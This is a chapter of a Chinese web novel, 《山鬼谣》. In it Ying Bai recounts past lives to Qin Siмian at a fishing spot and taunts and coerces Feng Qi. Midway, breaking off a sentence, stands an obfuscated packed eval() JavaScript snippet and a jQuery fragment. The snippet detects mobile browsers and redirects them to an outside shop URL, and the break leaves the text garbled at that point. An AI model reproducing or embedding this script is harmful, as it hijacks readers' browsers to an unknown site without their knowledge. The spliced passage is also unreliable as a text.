141. 叙旧
作品:《山鬼谣》 遥遥地,秦思勉看到车里露出侧脸的应柏,后脊就是条件反射般一凉。
早上收到他的消息问他今天在哪儿,他把定位发了过去。
钓场有可租赁的椅子,但应柏下车就从后尾箱取出来两把月亮椅,一把是常规只有单层涤纶布适合野外的,另一把则是充了棉带绒毛一看就软和惬意但难打理的。
他迎上去,风岐正背着只小背包耷拉个脸下来,应柏扭头对他一笑,明明笑容可掬,但怎么看怎么都让人寒毛直竖。
应柏先将椅子斜靠在车后,向他伸了手:“好久不见。”
“呵呵,呵呵呵......”秦思勉一头雾水地伸手,好像也没有很久。
风岐长长叹一口气,秦思勉忙问:“咋、咋了?”
风岐意味深长地看他一眼,从口袋里掏出薄荷糖罐往嘴里倒,任由应柏重新提起椅子牵着她的手向休闲区走去。
早上起来,算算时间下楼去取自己点的皮蛋瘦肉粥,刚出房间她就看到他端着托盘出电梯。
托盘里一杯黑枸杞、红枣、核桃和不知道什么豆子打成的豆浆,两只鸡蛋白,一小碟配醋的肴肉、两只三丁包再加一盘清炒的红薯藤。
他径直将托盘送去主卧书房的桌上,听她说点了外卖,他不咸不淡地说:“外面的饭就这么好吃吗?”
她当时就懵了,这什么鬼话?她又不知道他今早还愿意给她做早饭。
话说完,他冷哼一声向外走,她那时才注意到他双手都缠着绷带。
她一惊,忙要去捧他的手,他将双手背去身后,看也不看她一眼,说是修树的时候不小心碰到了。
他还说:“不需要你哭,我听够了。”
她只能站在原地看着他离开。
昨晚他后来应该没有再上二楼来,又或者是他来过不过她睡熟了,床上看不出有另一个人躺过的痕迹。
隔五分钟,他冷着脸上来把外卖纸袋拆开,将装着粥的纸碗递到她手边。
她那时已经把豆浆喝掉了一半,同他对视间,看到他眉眼间微微一软,对那纸碗一抬下巴,声音依旧冷漠:“明早我给你做。”
他让她自己调整好安排,下午两点找秦思勉钓鱼。
昨夜她收到消息后隔了两秒就呛了回去:【你说好只冲我来的。】
他也是早餐时分才给她的回答:“他要找后土祠,我有线索,你不希望我告诉他吗?”
午饭后,车开出去二十多分钟了,风岐才反应过来,他有线索他发消息好了,干嘛还大费周章地跑出去?
他对她微微一笑:“很久没有见到我的......朋友了,叙旧,不可以吗?”
“朋友”这两个字被他咬得极重,他还说:“如果你实在不放心,你可以旁听,看我会不会害他。”
——
“重新自我介绍一下......”
坐上月亮椅后,风岐一直扶着额头,秦思勉高高“啥?”了一声,看看她,又看看他:“我去......咋、咋找出来的?”
应柏笑着提起风岐摸他脑袋时的模样,风岐又叹了口气,秦思勉来回看着:“不是,你愁啥?”他又蓦地转向应柏,“你......没变化?”
应柏点点头,摸摸胸口:“还在我这儿。按照她的性格,封印是永久的,她就是这样,从来不会做没准备的事。”
风岐暗自腹诽:他还不如突破封印引来警察呢。
秦思勉连连点头:“那......”
应柏咳了一声:“除了你和你母亲的事,其它的我暂时还不想分享,可以吗?”
风岐把帽子扣上了脸,来时路上他还说:“我没有哪里对不起他们的,我做得够多了。”
她能感受到他还有下一句,对上他的眼神她就明白他想说的是:“只有你对不起我。”
或许是在路上阴阳怪气了她一下,他的心情还不错。
他告诉她,她是恒我族人。他说过去大地上的人,都是恒我族人,而恒我族人称天上的那轮月亮为“大恒我”。
而他,是恒我族人的天敌。
她心念一动,正要继续向下问,他却说,只有她今天让他高兴了,晚上回家才有得继续。
她只能忍辱负重地把白眼憋回去,他是不是恒我族人的天敌她说不好,但他很显然是她的天敌。
——
“你们确实是同一个人。”应柏最先提起的是秦思勉和周辽上一世的名字——伏灵。
“不过,伏灵不一定只分成了你和周辽,这其中的原理我也并不是很清楚,而且你身上,应该也并不只有伏灵。”
秦思勉下意识点头,忽又打了个哆嗦,应柏这话让他想起那个背后背着人的鬼故事。
“还、还有谁......啊?”
“抱歉,我那时候见过的人有限。”应柏摇摇头,他只是能从秦思勉和周辽身上看到伏灵的影子,也能看到一些他认不出的影子。
“我确实在溟山伤过你的母亲,孟极。她是......”帽子隔绝了应柏的视线,但风岐也知道他看了她一眼,“九嶷的手下。”
“你母亲是孟极一族的统领,我在溟山遇到她的时候,她肚子里有你。”
九嶷当时虽然人不在溟山,但留有神识,这便是周辽当时梦里会同时看到孟极和九嶷都被他左手扼住咽喉的原因。
只是孟极虽然性命无碍,生产后身体恢复得还算不错,但伏灵却十分孱弱,数次有性命之忧。
“后来......”应柏又望风岐一眼,“她主治愈,就要你母亲把你送到她身边来......”
“算是治疗。”
风岐拉下帽子,应柏对她笑笑:“但是那个时候你已经有我了。”
风岐又把帽子遮了回去,这又什么鬼话?他就不会说句人话吗?
反正他意思就是溟山之后不久她就把他给收了呗。
“我们......”应柏坐在折叠椅边,双肘撑在大腿上,做了一个手势,组织了一下语言,“算是......共同生活了一段时间。”
秦思勉:“呃......”
风岐隔着帽子闷声问:“你细说一下我们的生活方式。”
秦思勉举了手,先问一句时长。
应柏:“十八年。”
秦思勉硬生生打了个哆嗦,风岐也坐起了身,她先看向应柏,应柏的神色不似作伪,她便去吐槽秦思勉:“你这也......”太虚了吧?
而且这什么鬼啊?她上辈子把秦思勉从婴幼儿养大到成人,怎么想怎么诡异。
秦思勉托着下巴:“我这、这也太......我去......”
应柏耐心同他们解释,楚天阔提出的是对的,那个时候的人的寿命和繁衍方式和现在是不一样的,十八年其实算不了什么,而且伏灵跟他们生活的时候一直都是兽形,被孟极接走的时候也还是个孩子。
他记得孟极之后生活的区域,上午仔仔细细在地图上圈出大致范围,又重新画过纸稿,递给秦思勉。
“我对你们了解有限,”他又看一眼风岐,“我知道的事大部分都是她告诉我的。”他其实没有听说过后土,但至于是那个时代没有,还是有而他不知道,就说不好了。
只是庇佑秦思勉的,要么是风岐,要么是孟极,那这个范围应当会在这里面。
秦思勉连声道谢,应柏对他笑着摇摇头,瞟一眼风岐裙边:“你过去有一个很不好的习惯。”
风岐的鸡皮疙瘩起了一阵又一阵,应柏这真的是拿出养父的架子了,这画面越来越可怕了。
他说伏灵做小兽的时候很喜欢拿爪子勾她的裙子,他喜欢勾着她让她带他四处玩,算是一种撒娇。
秦思勉刚坐下,又忙站起,连连对风岐道歉。
风岐:“这跟你有什么关系啊?”
应柏笑笑:“没事,我教你改正了。”
秦思勉愣怔地听应柏笑眯眯地讲述他们到底是怎么带他的。
他们大多数时间都在一块儿,玉京每每看到伏灵去勾九嶷的裙摆,都会毫不犹豫地把他掀翻在地。
小伏灵跟在九嶷身边身体健壮了不少,养得毛茸茸的,被掀翻后就哭,倒在地上爬不起来。九嶷去训玉京,玉京便慢条斯理地把伏灵拨正。
之后,趁九嶷不注意,他又会把他继续掀翻,蹲在一边继续听他哭嚎。
有时候伏灵哪怕什么都没做,都会被玉京掀翻,他哭喊着要去找九嶷告状,玉京就会对他缓缓绽开一个笑。
偶尔找到机会张望着四周没有玉京,伏灵跌跌撞撞向九嶷走,就看见玉京不知道从哪里冒出来,拦在路当中,又对他微微一笑。
“抱歉,我没想到......会给你带来这么深刻的心理阴影。”
风岐捂住了自己的嘴,他有半毛钱歉意吗就道歉,讲这么长一段,不还是在嘲讽吗?
天地良心,她前几天说欺负秦思勉真的只是开玩笑的,他比她理解的过分多了。
“她比较忙,所以......我带你比较多,”应柏又对秦思勉笑了一下,“我们没有真的把你当做孩子来养,所以相处模式上,并不是很注意……分寸。”
应柏轻咳一声:“我和她分开的时候,怀里的抱着的不是谁,而是一把琴。”
风岐怔怔抬眼,应柏对她一挑眉:“一把柏木琴。”
秦思勉呆呆听着,好半晌才反应过来:“那后来呢?你俩后来咋会......”
应柏的笑意消散了,他看着秦思勉,回忆起最后一次见到伏灵时的模样。
额角青筋要跃动前,他左手按了上去,示意秦思勉跟他走去一边。
十步外站定,确保她就在他的余光里,他这才缓缓开口:“后来的,就都是伤心事了。”
秦思勉一愣,应柏对他伸出右手,重重一握:“我过去确实有很多做错的地方,但是你......”
“无论是过去,还是现在,你都帮过我不少忙,我也......谢谢你。”
“真的,谢谢你。”
“那时候......”应柏垂眼一笑,久久才重新开口,“没想到还能再见。”
这是应柏第一次如此郑重地对他讲话,秦思勉心头直打鼓,又问了句后来。
应柏摇摇头:“我们以后再说吧。”他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972652|185886||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
理智只能维持到这儿了,再向后去,这里谁都不会开心的。
周辽希望知道他母亲的事,他也只能告诉他:“我和她都在的时候,你们母子都是好好的,再后来,我的确不知道了。”
也是提到周辽,两人重新坐回椅子上,秦思勉挠挠头:“那个......我给天阔打个电话先?”
一通电话过去,楚天阔没接。
“她也忙,害,我俩......”他和楚天阔刚出了一期视频,反响还不错。
应柏让秦思勉给楚天阔或周辽带话,当初是他引起的伏灵身体虚弱,之前的就算还他了。如果他还想知道什么,他们做中间人,亦或是他直接联系他都可以。
——
两人去河边钓鱼,风岐在靠后的休息区看书,没看多会儿,手机里进来一条应柏的消息:【我表现好吗?】
她没回,两分钟后:【不夸我一下吗?】
她举起手机噼里啪啦地想打字骂他,抬眼就见他扭头,遥遥对她微微一笑,又瞥了下秦思勉的背。
她一字字删除,重新编辑了一条:【你好厉害。】
她那原消息发出去,应柏八成就要起身一脚把秦思勉踹下河塘了。
他哪里是来欺负秦思勉的,他是拿秦思勉欺负她呢!
休息区里没几个人,坐得也分散,应柏站起身,挂着和煦笑意一步步走到她面前,蹲身凑上她的耳朵:“刚才删了什么?”
“你在外面能不能别惹我?”
他的笑意自眼底向外层层涌动:“是回家就可以惹你的意思,对吗?”
他的唇擦过她左耳垂:“说,说我回家就可以惹你。”
风岐咬咬牙,低声下气重复一遍。
他笑了很久:“九嶷,我们有家了,对不对?你和我两个人的家,只有我们两个人。”
下一瞬,他的声音陡然阴沉:“这才只是个开始,你选择抛弃我的时候就该想清楚,再遇到我会发生什么。”
他笑着走了,风岐终于能去问霍宁:【你说应柏还能变回去吗?】
霍宁懒得给她打字,直接一个语音拨过来:“不是啊,你溜呗,你问问他那五十公里还在不在,你报个警跑啊。”
风岐彻底泄气,这话她倒是敢问呢,非要在漏气瓦斯上点打火机,她又不傻。
霍宁乐呵呵的,祝她早日脱困,还说她在云南等她。
风岐索性把秦思勉那十八年给霍宁完完整整交代了过去,霍宁:“卧槽?那你们这真有点儿变态了......”
“秦思勉可不得真认他做干爹啊?”
风岐冷哼。
手机“叮”的一声,她点开信息,话费余额多了三千。
她呆住了,这什么新型诈骗短信?
两秒后诈骗犯的消息也进来了:【够吗?】
风岐提着月亮椅就冲去河边,应柏长身而起,满眼关切:“怎么了?是不是哪里不舒服?”
他握住她的手:“今天温度低,要是不舒服,我们就先回家,好不好?”
风岐就又拖着椅子坐回去了,霍宁把那两句话听了个一清二楚:“啧,他这是真变态了。”
这矫揉造作的,估计也就个秦思勉会信他了。
“笑死我了,你这热闹还有第二季看呢,啊哈哈哈哈哈哈。”
“他现在又跟树较劲了,我就不懂了,他是不是雄性激素过盛啊?”一天到晚和这个斗和那个斗,问题是他每次看人或物不顺眼,还要带着她一块儿遭殃,这凭什么?
霍宁问起冬虫夏草精的事,风岐道:“谁知道他啊,不想问,烦死了,一跟他说话就要吵的。”他就想拉长战线,猫逗耗子样地折磨她。
“随便了,我大度,不和他一般见识。”
所谓高岭之花下神坛就是这样吧?
啪叽一下摔下来,把脑子摔坏了,修不好,神经错乱。
——
吃饭的时候,应柏的神经勉强正常了一会儿。
两人收获都一般,秦思勉带应柏去小饭馆挑鱼,三人点了一锅鱼头汤、一份红烧杂鱼、一份盐水河虾,另几样素菜和点心。
饭桌上话题基本都和吃的有关,应柏没怎么说话,替风岐剥了两只虾后发现她更想自己拿嘴剥后也没有坚持,洗了手重新坐回来,安静吃饭。
秦思勉还问他们接下来去哪儿,风岐条件反射地答:“再说吧,我可能过两天又跑了。”
应柏抬头看她一眼,风岐卖了个乖,说跟他一起。
应柏微微笑了一下:“好,一起去。”
回去的路上十分和平,只不过刚进家门,风岐就被应柏扛上肩头,她被颠得有些发晕,眼前灯光一变幻,人就被他放在沙发上。他脱完自己的外套就脱她的,紧接着双臂一紧,搂着她贴住了沙发。
他好像很喜欢用这个姿势,用他的身体和某样硬物形成一个困住她的范围,她脑袋转得飞快,她总算明白为什么从小学到大学参加运动会短跑从来都是第一了。
可能过去也跑得快吧。
“没什么要问我的吗?”他的双臂一再收拢,“不想问问,我怀里为什么是一把柏木琴吗?”

